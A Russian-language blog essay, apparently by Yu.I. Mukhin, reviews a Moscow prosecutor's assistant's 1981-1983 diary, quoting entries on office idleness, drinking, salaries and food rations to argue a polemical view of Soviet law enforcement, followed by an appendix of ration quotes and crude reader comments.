По совету комментатора прочёл «Начало. Дневник помощника прокурора», написанный В.В. Панкратовым, на момент написания (1981-1983 годы) помощником по надзору за МВД прокурора Бауманского района Москвы. Его приятель, написавший предисловие к этой книге, сделал вполне резонный вывод: «Эта книга о тех начальных 80-х прошлого века, которые стали забывать, а новое поколение и не знает. Эта книга о «Наших 80-х», о которых пишет мой друг — Панкратов Володя и в которые иногда хочется вернуться, но уже нельзя, а когда вспоминаешь, то подкатывает комок к горлу и только рюмкой хорошей водки удается снять эту ностальгию». И это таки так. Для людей моего возраста эта книга действительно будет поводом вспомнить молодые годы.
Должен сказать, что для ХХ века писать дневник уже было анахронизмом, но Панкратов его зачем-то писал. Зачем? В аннотации сообщается, что дневники Панкратова это: «Незаменимый источник достоверных деталей для писателей детективного жанра, сценаристов и знатоков московского быта». И это опять-таки так. Но зачем эти детали нужны были Панкратову? Ведь, скажем, как источник фактов для будущей научной работы эти дневники не годятся, поскольку практически никак не освещается юридическая сторона деятельности автора. По сути это всего лишь фон для описания его жизни на работе.
Думаю, дело в том, что в те годы в моде СССР заняли прочное место детективы - и книги, и сериалы. Но ведь люди в те годы были на порядок умнее нынешних, и детективы авторства какой-нибудь журналистки типа Дарьи Донцовой (если бы нашёлся дурак их издать) просто никто читать бы не стал из-за их непрофессионализма и глупости. В СССР детективы очень часто писали сами советские детективы - люди, знающие, о чём они пишут. Это, скажем, Лев Шейнин - в своё время начальник следственного отдела Прокуратуры СССР, или братья Вайнеры, старший из которых возглавлял следственный отдел Московского уголовного розыска, а младший окончил юридический факультет. И, на мой взгляд, очень не исключено, что помощник прокурора района Панкратов имел мечты тоже стать писателем детективов, и в связи с этим начал копить факты, и занимался этим делом три года, прежде, чем у него родилась дочь, и он на этом закончил свои неслужебные писания.
Но я детективы писать не собираюсь и мне интересно не это.
В 1991 году со стороны правящих лиц началось повальное совершение преступления, предусмотренного статьей 64 УК РСФСР: «Измена Родине, то есть деяние, умышленно совершенное гражданином СССР в ущерб государственной независимости, территориальной неприкосновенности или военной мощи СССР: переход на сторону врага, шпионаж, выдача государственной или военной тайны иностранному государству, бегство за границу или отказ возвратиться из-за границы в СССР, оказание иностранному государству помощи в проведении враждебной деятельности против СССР, а равно заговор с целью захвата власти, - наказывается лишением свободы на срок от десяти до пятнадцати лет с конфискацией имущества или смертной казнью с конфискацией имущества».
И мы там, в Казахстане, (всё же, с уважением относящиеся к москвичам) недоумевали: куда подевалось сраное КГБ? Куда подевались сраные прокуроры? Почему они не арестовывают этих изменников? Ведь из прокуроров только Виктор Илюхин что-то попробовал сделать, да и того тут же заклевали старшие начальники. Почему не исполняла свой долг перед законом и СССР эта огромная толпа облечённых властью погононосителей СССР?
Вот с этой точки зрения эти дневники, показывающие жизнь советских правоохранителей изнутри, действительно «незаменимый источник достоверных деталей».
Но и это не всё. Дневники дают возможность сравнить служителей закона в СССР с теми, что у нас сегодня, и по этим служителям определить степень демократичности РСФСР и нынешней России.
Но сначала о тогдашних правоохранителях.
Типичные москвичи
В те годы я часто бывал в Москве в командировках, а в 1981 году жил месяц в Москве на курсах повышения квалификации. Я не сталкивался ни с милицией, ни, тем более, с прокуратурой, но в остальных московских конторах насмотрелся на москвичей вдосталь, и должен сказать, что, по описанию Панкратова, в прокуратуре москвичи были точно такие же, как и, скажем, в моём министерстве или в Госстандарте.
И сам автор дневников был типичнейшим москвичом, разве, что несколько более умным. Я делаю такое предположение о его уме не на основании того, что Панкратов о себе пишет, - любой автор о себе пишет, как о покойнике с недосказом, - «или хорошо, или ничего» (про «или правду», обычно забывают). Просто из разного рода эпизодов с его участием, из поручений, которые ему давали, из предложений, которые ему делали, видно, что его считали умным и способным юристом. Судя по всему, его отец был очень авторитетным в то время учёным-криминологом, но и сам Панкратов, как юрист, выглядел неплохо. Вот, скажем, эпизод его дневника:
«24.08.1983. …хотел, было, бежать в 46 о/м, как заявился Хавронин, рожающий постановление о прекращении уголовного дела в отношении следователя Люберецкой прокуратуры. В качестве шефской помощи додиктовал ему постановление до конца, внушив умные мысли, как опорочить работников милиции, производивших задержание этого следователя в ресторане. Вёл он себя некрасиво, но не преступно.
25.08.1983. В отношении Шаталовой Хавронин прекратил дело по ст. 5 п. 2 УПК. За то постановление, что я ему вчера додиктовал начальник Люберецкого следователя заявил (после прочтения): — Когда выгонят, приходи к нам, возьмём с руками». То есть, как специалиста, Панкратова ценили даже в других прокуратурах.
Теперь представьте, что вы решили писать дневник и день за днём взялись бы описывать то, что с вами в эти дни случилось. Но вы не графоман и не будете тратить время на то, чтобы писать только ради того, чтобы писать. О чём бы вы в таком случае писали? Поверьте - только о том, что вас действительно взволновало в этот день.
Так вот, что бросается в глаза по мере прочтения дневников Панкратова, - его не волновало содержание его работы. Из текста встает абсолютное безразличие и к целям свой работы, и к людям, с которыми Панкратов общался как прокурор - преступникам и потерпевшим. Для Панкратова это были какие-то объекты, благодаря которым он мог писать некие бумаги, а за эти бумаги ему платили деньги. Становится ли людям лучше от его работы или хуже - у него и мысли такой не возникало. Зачем ему такие мысли? Он за эту работу получает деньги. Вот деньги - это интересно, а о пользе его работы пусть начальство думает - раз деньги платит, значит, польза есть.
За три года работы в его дневнике единственный раз промелькнуло что-то человеческое: «10.11.1982. …Совершенно не знаю, что просить подсудимым. Две (по 16 лет) арестованы, две (по 15 лет) на свободе. Девок жалко, но и квартирная кража остаётся кражей. 12.11.1982. … Я довольно долго колебался, потом всё же решился — всем попросил по 1 году лишения свободы, одной (организаторше) — 1,5 года). Но даже в этом случае в дневнике нет сообщения, какое же наказание назначил суд этим подросткам. Прокукарекал в зале суда про полтора года и ушёл заниматься по-настоящему интересными делами, к которым у него относилось, к примеру, распитие пива.
Следующее, что бросилось в глаза, - это лень. В целом в дневнике создаётся видимость какого-то большого объёма работы в районной прокуратуре - работы по чтению уголовных дел, проверке жалоб и написанию отчётов. Но раз за разом читаешь:
«30.09.1982. С утра сел за справку по ОБХСС. Писал-писал, наконец, родил. Листах на пяти, не меньше. После обеда пошёл на бульвар. Читал «Мальвиль» Мёрля. Вернулся часам к пяти.
19.10.1982. Списал несколько жалоб. Потом засел за «Подвиг». Там «Четвёртый эшелон» Э. Хруцкого. Видно, что запала автору до конца не хватило. Ну, да ладно.
К вечеру привезли одного ворюгу. Я его допросил.
26.10.1982. Прошёлся по ул. Кирова. Вернулся к обеду. Около часа прогуливался. После обеда делать ничего не хотелось, руки на работу не поднимались. Слиняли с Игорем Яковлевичем из конторы. Он пошёл в Общество «Знание», а я — в магазин «Военная книга». Купил там за девять копеек лист ватмана для стенной газеты.
10.03.1983. Смотрел дела, поступившие с обвинительным заключением, отписывал кое-какие бумаги, беседовал с практиканткой, читал книгу (В. Слепухин, «Киммерийское лето»), записывал музыку, поздравлял Лину Михайловну с днём рождения, пил чай с тортом («Паутинка»), вдобавок ко всему, ушёл на полчаса раньше.
18.05.1983. Ближе к обеду слинял с работы. Пошёл в гости к Алексею Владимировичу Колдаеву пить «Хванчкару», которую он сегодня утром привёз в г. Москву из г. Кутаиси».
Надо сказать, что на заводе, на котором работал в это время я, так не «работали».
Следующее, что бросилось в глаза, это регулярность и лёгкость выпивки в прокуратуре Бауманского района. Нет, и мы на заводе пили на рабочем месте, но только в праздники и после работы. На заводе пить в рабочее время это готовить несчастный случай и похороны себе и товарищам. А в описании Панкратова выпить в рабочее время пива - это вообще ничто, даже если с утра:
«28.09.1982. Внезапно решили с Хаврониным и Ханом (46 о/м) поехать в пивную на Красноказарменную. Хан порулил за деньгами. Ждали часа два — два с половиной. Хаврошу услали в город. Я плюнул на это дело и пошёл обедать. Вернулся, звонит Хан и говорит, что купил ящик пива. Поругались, оставили всё на завтра.
Слинял из конторы за полчаса да закрытия.
24.08.1983. Хавронин за отпуск поставил ящик «Световара». Даже тётки наши не выдержали, тем более, что Игорь Яковлевич пожертвовал одну воблу».
Вино, водка тоже были в ходу, а рабочий день не был помехой: «27.09.1982. …Из кабинета Хавронина вывалился пьяный практикант».
Что Панкратова интересовало по-настоящему, так это доход - получение ежемесячных авансов и получек все три года отмечается в дневнике неукоснительно, сначала очень подробно:
«Выдали зарплату 90 руб. Новенькими бумажками. На моей памяти только два раза зарплату давали старыми купюрами.
В ведомости увидел, что только я во всей конторе плачу налог за бездетность (11 руб. 10 коп.). Подоходный налог — 19 руб. 20 коп. Итого 30 руб. 30 коп.
Реально: 185 руб. — 30 руб. 30 коп. = 154 руб. 70 коп.; Профсоюз — 1 руб. 80 коп.; ВЛКСМ — 2 руб. 70 коп.; транспорт — 3 руб.; итого 7 руб. 50 коп. Из 154 руб. 70 коп. вычитаем 7 руб. 50 коп., получаем: 147 руб. 20 коп.
С другой стороны: 185 руб. — 147 руб. 20 коп. = 37 руб. 80 коп.
Татьяна Валентиновна получает 115 руб. Подоходный налог 10 руб. 15 коп.; за бездетность вычитают 6 руб. 90 коп. Итого 17 руб. 05 коп.
115 руб. — 17 руб. 05 коп. = 97 руб. 95 коп. Профсоюз 1 руб. 15 коп. ВЛКСМ 1 руб. 15 коп. Из 97 руб. 95 коп. вычитаем 2 руб. 30 коп., получаем 96 руб. 65 коп. Минус 6 руб. за транспорт. Получаем 90 руб. 65 коп.
С другой стороны: 115 руб. — 90 руб. 65 коп. = 24 руб. 35 коп.
Семейный бюджет: 185 руб. + 115 руб. = 300 руб. Вычеты: 37 руб. 80 коп. + 24 руб. 35 коп. = 62 руб. 15 коп. Из 300 руб. вычитаем 62 руб. 15 коп., получаем 237 руб. 85 коп. На каждого выходит по 118 руб. 92 коп. в месяц. Это без еды и коммунальных услуг».
Татьяна Валентиновна это жена Панкратова - он её почему-то так величает, а отца - батюшкой. В СССР при доходе выше 110 рублей на человека (даже с налогами и со всем, что Панкратов вычел), семья считалась обеспеченной, скажем, в моё время студенту из такой семьи не полагалась стипендия (хотя реально институты не обращали на это внимания - учишься хорошо - дадут). Далее в дневниках Панкратов уже не даёт сведения о деньгах так подробно, но каждый раз, месяц за месяцем, отмечается, что аванс - 60 рублей, и «Выдали зарплату — 102 руб. Заплатил взносы — 5 руб., на подарки — 4 руб. Быстренько собрал деньги на дни рождения и на 8 марта».
Интересовала Панкратова не только собственная зарплата, но и зарплата окружающих, в первую очередь, коллег (заметьте, с чем он в конце сравнивает и что у него в качестве эталона мирила дохода москвича):
«Ставки руководимых оперработников прокуратуры Бауманского района
1.«Старший помощник прокурора»
Зинаида Ивановна Исаева (УСН) — 185 руб. + 45 руб.
Галина Ефимовна Титова (ГСЕ) — 180 руб. + 45 руб.
Валерий Павлович Сапожков (ОН) — 180 руб. + 40 руб.
Татьяна Васильевна Иванова (Н/Л) — 180 руб. + 40 руб.
2. «Помощник прокурора»
Лидия Георгиевна Конохова (ОН) — 165 руб. + 20 руб.
Владимир Владимирович Панкратов (МВД) — 165 руб. + 20 руб.
Владимир Фёдорович Кузин (УСН) — 175 руб. + 40 руб.
Татьяна Ильинична Реуцкая (ОН) — 155 руб. + 30 руб.
3. «Старший следователь»
Игорь Яковлевич Кравцов-Беляев — 185 руб. + 40 руб.
Алексей Владимирович Самойлов — 185 руб. + 30 руб.
4. «Следователь»
Лина Михайловна Сафронова — 170 руб. + 30 руб.
Людмила Анатольевна Ключник — 170 руб. + 30 руб.
вакансия — 160 руб.
5. «Стажёр»
Юрий Витальевич Хавронин — 130 руб.
Марина Львовна Павлова — 130 руб.
6. «Старший инспектор канцелярии»
Галина Андреевна Гельфанд — 75 руб.
7. «Инспектор канцелярии»
Галина Семёновна Ивашко — 60 руб.
Елена Ильинична Кочегарова — 60 руб.
Тов. Хавронина Ю.В. метят на вакантную ставку следователя в 160 руб., тов. Павлову М.Л. — на место тов. Коноховой Л.Г.
Стоимость бутылки водки (0,5) — 4 руб. 42 коп. или 5 руб. 25 коп. (с винтом)».
(Обратите внимание, что Панкратов указал не просто стоимость водки, но и стоимость водки в бутылке с закручивающейся крышкой. Для москвича это было очень важно, поскольку только импортную или хотя бы такую водку - «с винтом» - должен пить настоящий продвинутый москвич).
Много получали эти люди или мало? Вот такой момент:
«27.04.1981. На контору выделили два «Москвича» и одни «Жигули» (пятая модель). Завтра желающие будут тянуть жребий. Посмотрим, много ли таковых найдётся. Получать в этом квартале. 28.04.1981. На приобретение машин подали заявки трое: Алексей Владимирович Самойлов, Зинаида Ивановна Исаева и Людмила Анатольевна Ключник. Начался бой быков. Все хотят «Жигули». Алексей Владимирович Самойлов, видимо, не пожелав связываться с женщинами, решил купить «Москвич». Но соперницы развернулись вовсю. Зинаида Ивановна требовала, чтобы «Жигули» отдали ей, т. к. она дольше Людмилы Анатольевны работает в конторе. Людмила Анатольевна утверждала, что это не критерий. В спор сторонами были вовлечены и.о. прокурора Валерий Павлович Конин и секретарь партийной организации Лина Михайловна Сафронова. В результате бросали жребий. «Жигули» достались Зинаиде Ивановне». Но автомобили этого класса стоили около 6-7 тысяч рублей, и у работников прокуратуры, как видите, эти деньги были при общих заработках чуть больше 200 рублей в месяц.
Или вот: «26.01.1981. После новой зарплаты капитан милиции с оплатой за выслугу 10 % получает чистыми 252 рубля. 15.10.1982. В милиции вводят должность «инспектор дознания». Потолок — старлей. Старший инспектор — майор. Сейчас дознаватель получает «чистыми» 230–250 руб. в месяц».
Меня эдакие суммы, честно говоря, озадачивают. Мой отец, старший мастер кузнечного цеха машиностроительного завода в Днепропетровске, имел оклад в 140 рублей и изредка премию рублей в 20. В это время у меня, начальника цеха металлургического завода в Казахстане, оклад был 230 рублей в месяц. Но я отвечал за выполнение плана цехом и безопасную работу двух десятков инженеров и 130 рабочих. А эти за что? За то, что удерживались от взяток? Ну, ладно.
Наиболее сильно этого помощника прокурора волновали «пайки». На самом деле это были не пайки в точном смысле слова - не нормированное количество продуктов в месяц, а коллективная закупка продуктов в магазинах. То есть, работники московских контор сбрасывались деньгами и в магазине, к которому они были прикреплены, мелким оптом закупали товары, которые потом делили между собою. Панкратов описывает только продуктовые закупки, но, судя по моим воспоминаниям, закупались и промышленные товары - мне помнятся какие-то сервизы (или чашки?), за которыми ушли работники московской конторы, в которой мне надо было решить вопросы командировки.
Я постарался из дневника Панкратова выписать кое-какие его сообщения об этих «пайках», и вообще о покупках продовольствия, поскольку «настоящая история пишется в бухгалтерских книгах». Я дам эти цитаты в приложении, но должен и от себя добавить.
Ходил анекдот, что в СССР коммунизм уже построен, но только внутри кремлёвских стен, а социализм - в пределах Московской окружной дороги. Что касается социализма из этого анекдота, то в Москве, по моим меркам провинциала, в магазинах было всё, что нужно для любой роскошной жизни. Разве что не было пустяков, типа икры, очень редко попадалась красная рыба или ананасы. Однако, многое из тогдашних «дефицитов», как тогда говорилось, «выбрасывали», то есть, эти товары в магазинах не лежали постоянно, а появлялось периодически, и нужно было «набрести на товары».
(Причина была в низких государственных ценах. Того же мяса и рыбы в СССР производили чуть ли не в два раза больше, чем потребляют сегодня. Отпусти тогда цены, и в СССР не только колхозные рынки, но и государственные магазины были бы завалены продуктами всех сортов, но тогда для сельского хозяйства и пищевой промышленности возник бы тормоз со сбытом продукции. Но не об этом речь).
И, может, какой-то смысл был в том, что москвичам, работающим тогда, когда приезжие имеют возможность ходить по магазинам, давали возможность сделать описанные Панкратовым коллективные закупки, поскольку вечером, когда гастрономы уже распродавали продукты, особенно быстро портящиеся, москвичам трудно было бы их купить. Может быть.
Но меня это страшно раздражало, поскольку получение этих пайков стало для москвичей чуть ли ни целью жизни! Вот возьмите мои поездки в Москву в командировки. В принципе, в Москве я мог вопросы командировки решить за один день: вылететь из Павлодара в 10-30 утра, 3,5 часа лёта да минус три часа поясного времени и прибыть в Домодедово в 11-00. А в 13-00 ты уже в министерстве, начальники на местах, вопросы с ними решил, теперь нужно оформить эти вопросы в отделах - подготовить нужные документы, завизировать, а дальше подписал у начальников и свободен! До вечернего рейса самолёта на Павлодар в 23-00 можешь побегать по Москве! Но не тут-то было! Возвращаюсь от начальства в отделы, а там людей нет - все пошли получать «заказы» - то, что Панкратов называет «пайками». Сидишь, материшься, пока они отоварятся каким-нибудь импортным, как сейчас говорят, «ништяком». А в этих заказах, подчеркну, речь шла о покупке чего-то именно импортного или дефицитного, поскольку своего и так были полные магазины.
Помню, приехал не преддипломную практику в Челябинск в 1972 году, вечер, общага, холодина страшная, надо бы чаёк попить, а в общаге стаканов нет, и уже вечер - промтоварные магазины закрыты. Мы - в гастроном, а там молдавские варенья в полулитровых банках, причём, дешёвые - чуть ли не дешевле сахара! Мы всю практику их покупали, варенье съедали, а из банок чай пили. Но это мы, провинциалы, а то москвичи! Они же своё (молдавское) варенье есть не будут, им подай венгерское, в крайнем случае, болгарское!
Думаю, что магазины, формируя эти заказы московской публике, вместе с «дефицитом» спускали и залежалые товары. По крайней мере, глядя на то, что Панкратов получал в «пайке», я в этом уверен, поскольку большинство товаров можно было купить в Москве без очереди, скажем, курей или мясо. А суповые концентраты?? Да кто бы их вообще покупал?
Вот глядя на перечень того, что Панкратов получал «в паёк», скажу, что за те пару часов, что я, устроив дела, бегал по московским магазинам при приездах в Москву в командировки, только покупку икры в банках не упомню (бутерброды с красной и паюсной икрой были в любом буфете), да на красную рыбу и ананасы натыкался раз или два. Но всё остальное покупал без проблем, разве что стоял в очереди. Мясо и курей, да всякие консервы в банках не покупал - везти это самолётом за 3 тысячи километров было глупо, тем более, что всё это было на месте, но я видел же их в магазинах Москвы. Покупал гостинцы - знаменитую московскую карамель, вычурные бутылки импортных (в основном, кубинских) спиртных напитков, модные консервы (скажем, шпроты), сырокопчёную колбасу (это с наценкой) или тамбовский окорок (умели в Москве окорока делать, надо сказать, в крайнем случае килограмм «краковской» или «одесской»). Видимо, в Москве был исключительный контроль за качеством продукции, поскольку практически всё изготовленное в Москве (а тогда Москва работала) не стыдно было друзьям в угощение поставить или на себя надеть. Напомню, что я в это время месяц жил в Москве, но поскольку для меня еда это не единственная радость в жизни, то я сегодня не припомню, где и что ел. Но уверяю, что я на еде в Москве и не разорился, и не похудел. Ну, ладно.
Ещё один признак крутого, настоящего москвича - наличие в доме большого количества дефицитных книг, подчеркну - не просто книг, а таких, которые не у всех есть. И все три года Панкратов в рабочее время доставал макулатуру, сдавал её и на полученные талоны приобретал дефицитные книги. Причём, что особенно интересно, за все эти три года в его дневниках нет ни малейшего упоминания о содержании этих книг. Впечатление такое, что он их покупал, чтобы они у него были, чтобы можно было похвастаться их наличием, поскольку невозможно утверждать по содержанию дневников, что Панкратов их прочёл, хотя о чтении художественных книг на роботе он упоминает.
Москвич!
Теперь о Панкратове как о гражданине. Панкратов слушал лекции лекторов-международников (и сам их читал). Тут надо понять, что пресса СССР писала только правду, огромные штаты редакций ведущих газет выверяли каждую букву и цифру, на факты из центральных газет можно было ссылаться как на энциклопедию. А нужную ЦК КПСС ложь или сомнительные сплетни внедряли в головы людей лекторы общества «Знание». Панкратов упоминает, о чём были эти лекции. Наконец, в эти годы Панкратов вступил в КПСС. Поэтому внешне он выглядит тем, кого называют «политически развитым».
И при всём при этом в дневниках нет ни малейших мыслей об обществе или государстве - ни одобрительных, ни критических. Мало этого, у этого юриста нет ни малейших мыслей и о его профессии - ни осуждения, ни одобрения имевшихся законов и порядков. Весь дневник касается только его лично. Панкратов тот, кого в те годы звали обывателем. И он описывает такими точно обывателями всех тех, с кем он работал в судах, прокуратурах, МВД.
Как эти люди могли спасти СССР, если ни государство, ни общество, ни законы СССР их совершенно не интересовали? Ведь это были люди, которые во имя общества или государства не пойдут на риск потерять хотя бы пачку вожделенной жвачки. Во имя колбасы пойдут! Особенно, если колбаса будет финская. А во имя общества - никогда!
Это так, но не всё так просто. На самом деле даже эти обыватели работали не сами по себе и не только для себя, как работают сегодня «правоохренители» Рашки, а в системе законов и понятий СССР. И правоохранители СССР так-сяк защищали не только свою зарплату, но и народ СССР потому, что работали в системе понятий демократического государства. Между прочим, эта система понятий приводила и к тому, как видите, что эти обличённые властью прокуроры, не покупали себе в магазинах что хотели и когда хотели, а вместе с остальными москвичами радовались «пайкам».
А всё потому, что СССР был устроен, как наиболее демократическое государство в мире, хотя это и понимаешь, только посмотрев на маразм «Российской Педерации».
Далее, в продолжении - о работе милиционеров и прокуроров СССР.
(продолжение следует)
Ю.И. МУХИН
Приложение: Цитаты о «пайках» из книги В.В. Панкратова «Начало. Дневник помощника прокурора».
«18.09.1981
После обеда выдали паёк: 5-литровая банка вишен, 5-литровая банка огурцов, батон колбасы финской, банку зелёного горошка, две банки паштета, ½ кг гречки, курицу, бутылку сока, коробку конфет, пачку вафель, пакетик чёрного перца. Стоит всё около 22-х руб. Да, ещё 200 гр. мяса.
30.09.1981
Вечером была учёба. Сказали, что всю финскую колбасу мы передали в Польшу. Это было расценено поставщиками как нарушение условий договора. По этим соусом Суоми, якобы, нам колбасу теперь поставлять отказалась.
02.11.1981
Выдали зарплату 102 руб. 75 коп. Пока меня не было, Галька взяла из неё 55 рублей и заплатила за пайки. Из двух магазинов. Чтобы не обожраться, один паёк пришлось продать. Во втором — на 9 руб. финской колбасы; курица — 3 руб. 60 коп.; финский плавленый сыр — 1 руб. 80 коп.; банка огурцов; банка помидоров; банка лосося; банка манго; банка зелёного горошка; икра красная. Итого: около 25 руб., да, ещё банка лечо.
20.11.1981
Дали паёк. Килограмм мяса, кусок колбасы, бутылка кетчупа, банка сардин. Итого, 6 руб. 20 коп.
25.12.1981
Водки в магазинах нет. Вернее, есть, но в больших бутылках (0,75) по 10 руб. Это я хотел бутыль к Новому году купить. Вечером привезли паёк из 28-го гастронома: икра красная, салями, сайра, лосось, ланчен мит, печень трески, морская капуста, масло сливочное, сёмга, курица. Итого, около 22 руб.
29.12.1981
Выдали паёк: водка, шампанское, масло, сыр, колбаса, рыба, кофе, гранулированная фанта, сайра или шпроты, печень, какао, компот, гречка, икра, курица. Итого, 42 руб. 00 коп.
04.03.1982
Выдали паёк. Курица, колбаса, масло, тресковая печень, икра красная, конфеты, «Сильва», помидоры, рыба красная. К оплате около 20 руб.
04.10.1982
Привезли паёк: масло, 1 банка сгущёнки, колбаса — 1 батон, мясо, курица. Итого — 12 руб.
19.11.1982
Получили паёк: 1,5 кг мяса, батон колбасы, банку тушёнки и пять суповых куриных концентратов. Всего на 9 руб. 70, с чем-то, коп.
24.12.1982
Поел и двинул в контору. Там уже готовые пайки поджидают. Купил на 60 руб. Себе и батюшке: курица, колбаса, рыбные консервы, гречка, чай, масло и прочая ерунда, вроде майонеза. Ещё соки и шампанское.
31.12.1982
В конторе полупустота — пропали две порции чёрной икры.
03.01.1983
Пропавшая в пятницу икра нашлась. Женька переставил её в холодное место, опасаясь, что на сейфе она испортится.
14.01.1983
Выкупил паёк: колбасу, курицу, мясо, помидоры, сок, компот, чай и два пакета супа. Цена около 13 руб.
01.02.1983
Подорожал хлопок (катушка ниток — 25 коп., вместо 10 коп.), металлическая галантерея и электрические приборы. Говорят, подорожает вино. Исчезли из продажи конверты по 5 коп. за штуку. Видно, тоже к подорожанию дело идёт. Ну, а мясо, утверждают, будет стоить 3 руб. 50 коп. вместо 2 руб. за килограмм. Скорее всего, так оно и случится.
11.02.1983
Привезли паёк — мяса на 3 руб., кетчуп, гречку, масло, лечо, яблоки, коробка вафель. Около 10 руб.
03.03.1982
Привезли паёк: цыплёнка, мясо, колбасу, палтус, две пачки масла, два огурца, банку джема, две упаковки макарон, шпроты. Всего около 16 руб. Цыплёнка, часть макарон и палтус у меня выкупил Женька. С меня — 11 руб. ровно.
17.03.1983
Выдали аванс — 60 руб. На этот раз старыми купюрами. Получил паёк: мясо, шпроты, конфеты и яблоки. Вынул семь рублей и положил.
27.04.1983
Поехал в Союз. После нескольких недоразумений, связанных с распространённостью моей фамилии, получил две путёвки в «Истру» (на себя и на батюшку). Всего (с оплатой проезда) — 6 руб., 80 с чем-то коп.
Вернулся в контору, помог разгрузить пайки. Contens: колбаса, курица, консервы, сыр, мясо и майонез. Около 15 руб.
12.05.1983
Поехал в компании с Лаврухиным в 29 о/м. Зашёл на Бауманский рынок. Редиска — 40 коп. пучок, петрушка — 25 коп. Ходил-ходил, нашёл редиску за 35 коп., а петрушку за 15 коп. Купил два пучка редиски и два пучка петрушки, всего — 1 руб.
20.05.1983
После написания распродавал свой паёк. Продал коробку конфет, пачку маргарина, две банки концентрированного молока и банку лимонных долек. Себе оставил две банки куриного гуляша и кусок копчёной колбасы. Это на пять рублей с копейками.
17.06.1983
Получил аванс 60 руб. Выкупил паёк — кусок мяса, килограмм колбасы, три банки сгущёнки, две банки шпротов, банку сардин и две селёдки (из большой банки). Около 15 руб.
08.08.1983
Тут подоспел паёк. На три рубля колбасы, две пачки масла, две банки ананасового компота, банка колбасного фарша, банка говяжьей тушёнки, банка ветчины. Но наши фефёлы забыли включить меня в список, и продуктового заказа на меня не хватило.
01.09.1983
На 20 % подешевела водка в ресторанах.
05.10.1983
Разрешил, а точнее, рассмотрел 320-ую жалобу. Одна из практиканток с утра не объявилась. Со второй (Ирой) поехали в 29 о/м, а заодно, и в «Океан» за раками.
Отвёз раков домой, выпустил их в ванну. Вернулся в контору как раз к профсоюзному собранию
31.10.1983
Вернулся в контору и получил паёк из 28-го гастронома: мясо, колбаса, икра, ещё что-то. Всего на 25 руб».
Пауков и смешная жисть советяшки на зарплату
Кино 60-х в том числе как раз и показывало разницу между идеологической советской трескотней и реалиями т.н. социализма. И "Бриллиантовая рука", и прочие. А "Зигзаг удачи"? Там центральный момент - дележка денег.
Вот и непонятно, чего тут трындят про социализм-коммунизм: сами не знают, про что трындят. Поскольку на поверку там хоть сей, хоть куй, один хрен получишь ... мало денег за 8-часовой рабочий день. И ха-ха-ха на киношное "чтоб ты жил на одну зарплату".
Касательно стоимости доллара - нет такого понятия, как "реальная стоимость товара". Вон, бегают тут Кучма с Маршрутом, кричат, что изготовили (к примеру) шикарный унитаз, якобы за миллион по якобы закону Сталина. А цена их унитаза может оказаться сравнимой с придорожными лопухами.
По чем сможете продать, то и стоит ваш товар. 4 рубля за выторгуете за 1 доллар, или 60 копеек - как получится.
Логичному
Зачем переусложнять то, где это избыточно? Когда вполне есть и понятие, и общеизвестная стоимость, самая притом реальная. Просто всем известно, что если понадобится, то за эти деньги хоть продашь, хоть купишь. Это для конечного потребителя так и без всяких лишних размышлений. А вот в "цепочках поставки" - там да, есть и торговля. Поскольку много баксов сразу, более чем 200-300, не требовалось почти никому из потребителей, а у поставщиков были обычно гораздо большие суммы, то "оптом" в тысячу и более цена была в 3 рубля и даже менее, а в розницу от пятисот и менее - было уже по 4. Кстати, в то время "Жигули" стоили в Финляндии около $2000 в пересчете с фин.марок. Если примерно прикинуть навар продавца и некоторые доп.расходы, а своя стоимость была ок.6000 рублей, то примерно так и выходит. Разницу между реалиями и идеологией и показухой от нее знали в общем-то практически все, но вот "объяснениям" самой идеологии, что это лишь "отдельные недостатки", а так " все в шоколаде" - некоторые верили. Сначало многие и далее по убывающей.
было уже по 4
В ССР почти всё в переводе на валюту стоило сущие копейки, дорого стоило вожделённо-дефицитное: телевизоры, машины, бытовая техника, стильная одежда, всякие шоу-музыки. А на Западе это стоило наоборот -- дешево! Вот наши придурки-обыватели и считали, что "там" жить вообще прекрасно! Ну и что -- коммуналка дорогая, зато зарплаты в 10 раз больше! Хватит и на коммуналку и на жизнь!
Тем паче Партия своей целью провозгласила всемерное удовлетворене растущих потребностей. Даже специальное чувство у "савецкаго человека" развили -- "глубокого удовлетворения". Предел маразма. В то время я говорил: не бывает много чего-то, скажем, денег. Бывает -- достаточно. Но кто я? Хули всяких ... слушать.
Но в конце концов до комми допёрло -- "всемерно удовлетворять" проще и дешевше всего при господстве частной собственности! Всё течёт само сабой. А кумунизьм требует усилий, и преогромных. Закон Природы такой внезапно открылся..
Хотя чего удивляться, что внезапно. Умственные способности комми судя вот по этому сайту невелики: шаблонное применений полемически-логических приёмов Вождя, цыцырование выгодных им данных без попыток оценить их достоверность, подмена предмета разговора (зато мы делаем ракеты) и -- полное отсутствие хоть какой-либо практической программы действий. Я уж не говорю о примерах "героев былых времын" -- это вообще провокация с "той стороны", но маразматики с "этой" -- ведутся по-полной!
Вот и понятно, почему этот сайт не трогают: смотрите и охYивайте, какие люди за Коммунизм ратуют\
Jokerу
"Заставь дурака Богу молиться..." и "с иными друзьями врагов не надо".
Для Логичный.
Логичный: "Поскольку на поверку там хоть сей, хоть куй, один хрен получишь ... мало денег за 8-часовой рабочий день."
Ага. И поэтому с малыми деньгами в СССР все, к примеру в электричке, брали билеты. И если кто не успел взять билет и попадался контролерам, спокойно платил им 3 руб (3000 руб по нынешнему).
А сейчас забавно наблюдать заход контролера в электричку - 80% вскакивают с мест и перебегают в другой вагон. А все - от излишка денег!
Короче, приходите еще, нам без дураков скучно!
спокойно платил им 3 руб
Вот это называется "залупил"!!! Да на 3 рубля я неделю мог неплохо жрать три раза в день в очень недурственной столовке ОИЯИ. Потому "зайцы" того времени крутились как могли. Выходили из вагона и перебегали в тыл контролям. Сейчас РЖД есть предельно, нет, запредельно ох"еввшая организация, с соответствующими ценами. Зато теперь по утрам и вечерам в каждом вагоне по контролю, по два жлоба с надписью "Центр предупреждения правонарушений" на камуфляже "осенний камыш", и два старичка с надписью: "ох, рано". Мало того: на всех платформах тоже самое -- надо пройти сквозь строй этой шатии.
Ну, в ССР при социализьме общественный транспорт дотировался. Сейчас должен приносить прибыль. С какого фуя? Пассажиропоток упал раз в 5. Думаю, что и товаропоток тоже. Путиномика!
за ночь заработать не меньше 100 рублей
Когда работал в МОЭСК у меня водила был бывший московский таксист. Позвонил, спросил про зароботки. Ответ. Нет, рублей 25. А то и червонец. Очень редко -- рублей 40 -- 45. Прокурор, занятый частным извозом??? Пришлось бы выбирать -- извозчик или прокурорчик.
Jokerу
